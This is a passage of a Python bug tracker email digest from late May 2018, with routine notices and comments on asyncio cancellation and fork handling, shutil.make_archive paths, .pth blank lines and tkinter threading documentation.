<1527632576.57.0.682650639539.issue23859@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6859 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:23:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:23:08 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527632588.92.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:23:54 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 22:23:54 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527632634.83.0.682650639539.issue23859@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6860 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:27:32 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:27:32 +0000 Subject: [issue32676] test_asyncio emits many warnings when run in debug mode In-Reply-To: <1516964849.79.0.467229070634.issue32676@psf.upfronthosting.co.za> Message-ID: <1527632852.62.0.682650639539.issue32676@psf.upfronthosting.co.za> Yury Selivanov added the comment: I'll look into this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:28:54 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 22:28:54 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527632934.75.0.682650639539.issue29326@psf.upfronthosting.co.za> Steve Dower added the comment: Please create a new issue. This one is closed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:29:14 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:29:14 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527632954.54.0.682650639539.issue32684@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 036434273e6f6905403432c973d98ade1ae58197 by Yury Selivanov (Miss Islington (bot)) in branch '3.7': bpo-32684: Fix gather to propagate cancel of itself with return_exceptions (GH-7209) (#7222) https://github.com/python/cpython/commit/036434273e6f6905403432c973d98ade1ae58197 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:30:53 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 22:30:53 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527633053.15.0.682650639539.issue33670@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 5583ef4777452e79278de80755d403f1c5b7781d by Steve Dower (Andr?s Delfino) in branch '2.7': [2.7] bpo-33670: Expose Sphinx errorlevel (GH-7156). (GH-7201) https://github.com/python/cpython/commit/5583ef4777452e79278de80755d403f1c5b7781d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:31:06 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 22:31:06 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527633066.86.0.682650639539.issue33670@psf.upfronthosting.co.za> Steve Dower added the comment: Thanks! ---------- assignee: -> steve.dower resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:37:09 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 22:37:09 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527633429.29.0.682650639539.issue32751@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d8948c5e09c4a2a818f6f6cfaf8064f2c2138fa5 by Miss Islington (bot) in branch '3.7': bpo-32751: Wait for task cancellation in asyncio.wait_for() (GH-7216) https://github.com/python/cpython/commit/d8948c5e09c4a2a818f6f6cfaf8064f2c2138fa5 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:37:09 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 22:37:09 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527633429.43.0.262363346258.issue33638@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d8948c5e09c4a2a818f6f6cfaf8064f2c2138fa5 by Miss Islington (bot) in branch '3.7': bpo-32751: Wait for task cancellation in asyncio.wait_for() (GH-7216) https://github.com/python/cpython/commit/d8948c5e09c4a2a818f6f6cfaf8064f2c2138fa5 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:39:30 2018 From: report at bugs.python.org (Tobias Kunze) Date: Tue, 29 May 2018 22:39:30 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1527633570.01.0.682650639539.issue22021@psf.upfronthosting.co.za> Tobias Kunze added the comment: I'm similarly confused by this issue. If somebody can help me understand what's going on, I'll put my understanding into a documentation patch. I have created this minimal example to demonstrate what I don't understand: I've created a directory structure within /tmp like this: issue22021 ??? root ??? structure ??? content ??? ??? please_add.txt ??? do_not_add.txt Now I'd like to create a zip archive that contains the directories "structure" and "content", and the file "please_add.txt", but not the file "do_not_add.txt". My understanding of the documentation was that I'd have to do this: >>> shutil.make_archive(base_name='/tmp/issue22021archive', format='zip', root_dir='/tmp/issue22021/root', base_dir='/tmp/issue22021/root/structure/content') But on my system, the created file (/tmp/issue22021archive.zip) looks like this according to unzip -l: Archive: issue22021archive.zip Length Date Time Name --------- ---------- ----- ---- 0 2018-05-30 00:26 tmp/issue22021/root/structure/content/ 0 2018-05-30 00:26 tmp/issue22021/root/structure/content/please_add.txt --------- ------- 0 2 files This is consistent with my experience that created archives will always contain directories from / on, which is unexpected to me. It appears this happens whenever base_dir and root_dir is set, but to my understanding the documentation does not warn against this. I've confirmed this behaviour with Python 3.6.5 and Python 3.5.3, but I suspect that doesn't really matter, as it seems to be a documentation issue. ---------- nosy: +rixx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:43:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:43:38 +0000 Subject: [issue29512] regrtest refleak: implement bisection feature In-Reply-To: <1486640763.77.0.630012847727.issue29512@psf.upfronthosting.co.za> Message-ID: <1527633818.49.0.682650639539.issue29512@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6861 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:45:03 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:45:03 +0000 Subject: [issue33688] asyncio child watchers aren't fork friendly Message-ID: <1527633903.57.0.682650639539.issue33688@psf.upfronthosting.co.za> New submission from Yury Selivanov : _UnixDefaultEventLoopPolicy doesn't detect fork and tries to re-use the inherited child watcher. [1] is my idea how to fix this. Andrew, AFAIK subprocesses was something that you worked on at some point. Do you have time to look into this? Need tests and I'm not sure if I got [1] quite right. This probably won't make it to 3.7.0, but 3.7.1 seems like a good target. [1] https://github.com/1st1/cpython/commit/b4e6b26c565d9417a6f57a794a4669d7a7eeae88 ---------- components: asyncio messages: 318133 nosy: asvetlov, yselivanov priority: normal severity: normal status: open title: asyncio child watchers aren't fork friendly versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:45:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:45:54 +0000 Subject: [issue29512] regrtest refleak: implement bisection feature In-Reply-To: <1486640763.77.0.630012847727.issue29512@psf.upfronthosting.co.za> Message-ID: <1527633954.33.0.682650639539.issue29512@psf.upfronthosting.co.za> STINNER Victor added the comment: I created the PR 7229 to rename Lib/test/bisect.py to Lib/test/bisect_cmd.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:46:58 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:46:58 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527634018.18.0.682650639539.issue22087@psf.upfronthosting.co.za> Yury Selivanov added the comment: another related issue: https://bugs.python.org/issue33688 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:48:21 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:48:21 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527634101.3.0.682650639539.issue23859@psf.upfronthosting.co.za> STINNER Victor added the comment: > https://github.com/python/cpython/commit/f9aeca2085464838f04bf13f816a1f861d43541f " + when a timeout accurs. " typo: accurs => occurs ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:49:57 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 22:49:57 +0000 Subject: [issue29788] [Security] tarfile: Add absolute_path option to tarfile, disabled by default In-Reply-To: <1489162424.66.0.632437535873.issue29788@psf.upfronthosting.co.za> Message-ID: <1527634197.35.0.682650639539.issue29788@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: tarfile: Add absolute_path option to tarfile, disabled by default -> [Security] tarfile: Add absolute_path option to tarfile, disabled by default _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:50:47 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 22:50:47 +0000 Subject: [issue30935] document the new behavior of get_event_loop() in Python 3.6 In-Reply-To: <1500084221.73.0.556830879215.issue30935@psf.upfronthosting.co.za> Message-ID: <1527634247.64.0.682650639539.issue30935@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:52:37 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Tue, 29 May 2018 22:52:37 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527634357.46.0.682650639539.issue23859@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- pull_requests: +6862 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 18:56:08 2018 From: report at bugs.python.org (Zac Medico) Date: Tue, 29 May 2018 22:56:08 +0000 Subject: [issue33688] asyncio child watchers aren't fork friendly In-Reply-To: <1527633903.57.0.682650639539.issue33688@psf.upfronthosting.co.za> Message-ID: <1527634568.54.0.682650639539.issue33688@psf.upfronthosting.co.za> Change by Zac Medico : ---------- nosy: +zmedico _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:03:14 2018 From: report at bugs.python.org (Malcolm Smith) Date: Tue, 29 May 2018 23:03:14 +0000 Subject: [issue33689] Blank lines in .pth file cause a duplicate sys.path entry Message-ID: <1527634994.48.0.682650639539.issue33689@psf.upfronthosting.co.za> New submission from Malcolm Smith : The `site` module documentation says that in .pth files, "Blank lines and lines beginning with # are skipped.". However, the implementation does not actually skip blank lines. It then joins the empty string to the site-packages directory, resulting in the site-packages directory being added to sys.path a second time. Example: $ python -c 'import sys; print(sys.path)' ['', '/home/smith/.virtualenvs/foo/lib/python36.zip', '/home/smith/.virtualenvs/foo/lib/python3.6', '/home/smith/.virtualenvs/foo/lib/python3.6/lib-dynload', '/usr/lib/python3.6', '/home/smith/.virtualenvs/foo/lib/python3.6/site-packages'] $ echo > /home/smith/.virtualenvs/foo/lib/python3.6/site-packages/test.pth $ python -c 'import sys; print(sys.path)' ['', '/home/smith/.virtualenvs/foo/lib/python36.zip', '/home/smith/.virtualenvs/foo/lib/python3.6', '/home/smith/.virtualenvs/foo/lib/python3.6/lib-dynload', '/usr/lib/python3.6', '/home/smith/.virtualenvs/foo/lib/python3.6/site-packages', '/home/smith/.virtualenvs/foo/lib/python3.6/site-packages'] A patch fixing this is attached to issue 29326, but was ignored when that issue turned out to be caused by something else. ---------- components: Library (Lib) messages: 318137 nosy: Malcolm Smith priority: normal severity: normal status: open title: Blank lines in .pth file cause a duplicate sys.path entry type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:20:04 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 23:20:04 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527636004.34.0.682650639539.issue32684@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 3b263e65a80cfcb1fc751834372533773ec024a4 by Yury Selivanov in branch '3.6': bpo-32684: Fix gather to propagate cancel of itself with return_exceptions (GH-7224) https://github.com/python/cpython/commit/3b263e65a80cfcb1fc751834372533773ec024a4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:20:28 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 23:20:28 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527636028.82.0.682650639539.issue32684@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 6f75bae74866b6acf638e3aa610d830d55b7e314 by Yury Selivanov in branch 'master': bpo-32684: Fix nits in tests (GH-7225) https://github.com/python/cpython/commit/6f75bae74866b6acf638e3aa610d830d55b7e314 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:22:14 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 23:22:14 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527636134.82.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6863 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:35:07 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 23:35:07 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527636907.83.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6864 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:36:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 23:36:43 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527637003.07.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6865 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 19:43:15 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 23:43:15 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527637395.52.0.682650639539.issue22087@psf.upfronthosting.co.za> Yury Selivanov added the comment: Even though I committed a version of Dan's patch to 3.7 and 3.8, I've finally decided to revert it and do it properly instead. We should strive to implement a proper solution, not commit some half-working code. A concrete plan (for Python 3.8 probably): 1. Fix BaseDefaultEventLoopPolicy to track PID in its 'get_event_loop()' and 'set_event_loop()' methods. If a PID has changed since the last invocation: reset its internal local state. 2. Fix _UnixDefaultEventLoopPolicy to check for PID change in 'get_child_watcher()' and 'set_child_watcher()'. 3. Fix child watcher / event loops to track PID changes too to avoid listening for child processes of their parent process. 4. Look at how libuv and other event loops implement fork support. Ideally we should be able to shutdown selectors (epoll, kqueue) in forked processes in such a way that their parent process isn't affected. 5. Think how we can make 'asyncio.run' fork friendly. Ideally it should initialize its own child watcher and remove it when its done. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 20:24:22 2018 From: report at bugs.python.org (Julien Palard) Date: Wed, 30 May 2018 00:24:22 +0000 Subject: [issue31639] http.server and SimpleHTTPServer hang after a few requests In-Reply-To: <1506701944.65.0.213398074469.issue31639@psf.upfronthosting.co.za> Message-ID: <1527639862.58.0.682650639539.issue31639@psf.upfronthosting.co.za> Julien Palard added the comment: New changeset 4f53e2ac16e0bebae0a0c18f220295035b081ee3 by Julien Palard in branch '3.7': [3.7] bpo-31639: Change ThreadedHTTPServer to ThreadingHTTPServer class name (GH-7195) (GH-7219) https://github.com/python/cpython/commit/4f53e2ac16e0bebae0a0c18f220295035b081ee3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 20:40:59 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 00:40:59 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527640859.7.0.682650639539.issue32684@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 3ddee64587482082fcbab930ff82ed67aa9f4a0d by Yury Selivanov (Miss Islington (bot)) in branch '3.7': bpo-32684: Fix nits in tests (GH-7225) (#7231) https://github.com/python/cpython/commit/3ddee64587482082fcbab930ff82ed67aa9f4a0d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 20:47:59 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 00:47:59 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527641279.06.0.682650639539.issue22087@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 99279ad823a758288e4e41962abfc4dad8943ce8 by Yury Selivanov in branch 'master': Revert "bpo-22087: Fix Policy.get_event_loop() to detect fork (GH-7208)" (#7232) https://github.com/python/cpython/commit/99279ad823a758288e4e41962abfc4dad8943ce8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 20:56:36 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 00:56:36 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527641796.55.0.682650639539.issue22087@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset af9cda9845666e2f704177a431d29f91efbf828a by Yury Selivanov in branch '3.7': Revert "bpo-22087: Fix Policy.get_event_loop() to detect fork (GH-7208)" (GH-7233) https://github.com/python/cpython/commit/af9cda9845666e2f704177a431d29f91efbf828a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 20:59:24 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 00:59:24 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527641964.3.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 21:01:02 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 01:01:02 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527642062.22.0.682650639539.issue32751@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 21:01:18 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 01:01:18 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527642078.22.0.682650639539.issue33638@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 21:26:24 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 01:26:24 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527643584.97.0.682650639539.issue23859@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset f95269404c03bd769a3551cd851b51b8f89672df by Yury Selivanov (Miss Islington (bot)) in branch '3.7': [3.7] bpo-23859: Document that asyncio.wait() does not cancel its futures (GH-7217) (#7227) https://github.com/python/cpython/commit/f95269404c03bd769a3551cd851b51b8f89672df ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 22:14:49 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Wed, 30 May 2018 02:14:49 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1527625232.95.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <24adc805-6c6d-231e-c3f7-5be53f75d881@mail.ru> Ivan Pozdeev added the comment: On 29.05.2018 23:20, Mark Roseman wrote: > Mark Roseman added the comment: > > Ivan, thanks for making a good first pass of this. The thread section still feels a lot like 'fighting' with the model. Do you mind if I take a crack at it? Won't get to it for a few days, but in case you have any stuff you're in the middle of. > > I should clarify too that Tk apps almost universally do use a blocking event loop (i.e. 'vwait forever' at the end of a script). Application-level event handlers are supposed to respond quickly so control goes back to the event loop. > > It's when control doesn't return there that things like the 'update idletasks' hacks are needed. In practice, I've noticed that's what seems to trip people up when they first start, as they try to emulate the flow of their non-GUI code, which frequently blocks. Far better that the program is restructured so that the event handler completes quickly. It's actually worse than it looks, because you can end up having nested event loops if you start randomly throwing this stuff in. That's conceptually hard for most people and a good source of bugs. > I'm pretty much done with the threading section but if you think it could use more clarification, sure. You can make a PR against my branch to integrate changes (or vice versa). In line with the aforementioned plan, the "Threading model" section needs to tell these things critical to interstanding the module's behavior and usage patterns: * There are two basic GUI execution models (stricty speaking, these are event-driven models in general, but no need to go that deep): single thread with pumping messages by hand (read: cooperative multitasking), and UI thread + worker threads (read: preemptive mulitasking). The latter is prevalent now so the reader is more likely to be familiar with it. * Tcl/Tk implements the former model (which is unusual), Tkinter emulates the latter with its own logic (so Tcl/Tk docs won't have info on this) but supports the former one as well. (So update() is not a "hack" at all, it's just intended for a different use case that doesn't come up often.) * Tkinter calls can and should be made from any threads (this is also unusual), but there are user-visible limitations. * Tcl event loop is shared (another unusual gimmick), which is also user-visible. This section is not the place to showcase concrete usage patterns, that's what tutorials are for. But it can make references to relevant Tkinter functions as long as this doesn't garble the narration. I imagine tutorial as a separate page (see the plan how it should be linked to), with the following sections, each illustrated with code. It's not meant to be an essential part of this ticket because it's of lower priority. * Create initial UI, then run mainloop(). All the rest is done with ui commands and events. (a hello world example) * Start a worker thread for any action that may take more than a fraction of a second. Make Tkinter calls from the worker thread to pass back info on its progress. * Collect worker threads and do other cleanup at exit via a cleanup function. Call it from both a special exit command, if any, _and_ from .protocol("WM_DELETE_WINDOW"). Lengthy/perpetual worker threads' logic must be interruptable for this. * For more complex logic, use the Model-View-Presenter pattern. * ?Something about exception handling? (Propagating exceptions? Making unhandled exceptions visible to the user? I dunno atm) * An example of using Tcl's execution model, i.e. with dooneevent()/update()/update_idletasks() instead of mainloop(), like a Tcl program would do. ---------- nosy: +__Vano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 23:50:33 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 30 May 2018 03:50:33 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527652233.95.0.682650639539.issue32911@psf.upfronthosting.co.za> INADA Naoki added the comment: I think it's OK. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 23:50:59 2018 From: report at bugs.python.org (bananaappletw) Date: Wed, 30 May 2018 03:50:59 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1527652259.43.0.682650639539.issue22021@psf.upfronthosting.co.za> bananaappletw added the comment: I think this snippet might help you. shutil.make_archive(base_name='/tmp/issue22021archive', format='zip', root_dir='/tmp/issue22021/root/', base_dir='structure/content/') unzip -l /tmp/issue22021archive.zip Archive: /tmp/issue22021archive.zip Length Date Time Name --------- ---------- ----- ---- 0 2018-05-30 11:14 structure/content/ 0 2018-05-30 11:02 structure/content/please_add.txt --------- ------- 0 2 files ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 23:52:53 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 30 May 2018 03:52:53 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1527652373.62.0.682650639539.issue33414@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 23:53:59 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 03:53:59 +0000 Subject: [issue33649] asyncio docs overhaul In-Reply-To: <1527277722.54.0.682650639539.issue33649@psf.upfronthosting.co.za> Message-ID: <1527652439.79.0.682650639539.issue33649@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Yury: do you want to do the re-organization into high- and low-level APIs? If you'd like me to do it, I'll need a more explicit listing of which APIs fall into which category. Sure, I'll update this issue tomorrow or the day after with a more detailed plan. Or maybe I'll start working on the 1st PR and will just give you push privileges to my repo. Would be cool if we can push the first rewrite live as soon as possible. > Also, do we want to create an explicit high-level and low-level sections and push everything else down a level, or just leave it implicit in the ordering? Yes, I'd go for 2 explicitly separate sections. I think it's important to focus average readers' attention at the high-level bits and pieces, leaving low-level APIs and details to framework/library authors. And, again, thanks for help. Adding Carol to the nosy list as she seems to be interested in this topic too. ---------- nosy: +willingc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 00:05:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 04:05:30 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527653130.46.0.682650639539.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I concur. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 00:11:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 04:11:55 +0000 Subject: [issue33687] uu.py calls os.path.chmod which doesn't exist In-Reply-To: <1527631327.84.0.682650639539.issue33687@psf.upfronthosting.co.za> Message-ID: <1527653515.78.0.682650639539.issue33687@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Looks as the proper fix to me. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 00:12:32 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 04:12:32 +0000 Subject: [issue33687] uu.py calls os.path.chmod which doesn't exist In-Reply-To: <1527631327.84.0.682650639539.issue33687@psf.upfronthosting.co.za> Message-ID: <1527653552.07.0.682650639539.issue33687@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +easy stage: -> needs patch versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 00:17:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 04:17:38 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527653858.47.0.682650639539.issue33597@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Even with smaller benefit the idea looks worth to me. Is the PR already ready for review? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 00:57:25 2018 From: report at bugs.python.org (Abhilash Raj) Date: Wed, 30 May 2018 04:57:25 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter Message-ID: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> New submission from Abhilash Raj : When using `urllib.parse.urlencode` it is impossible to pass an empty list when doseq=True. So, I see the following behavior when using 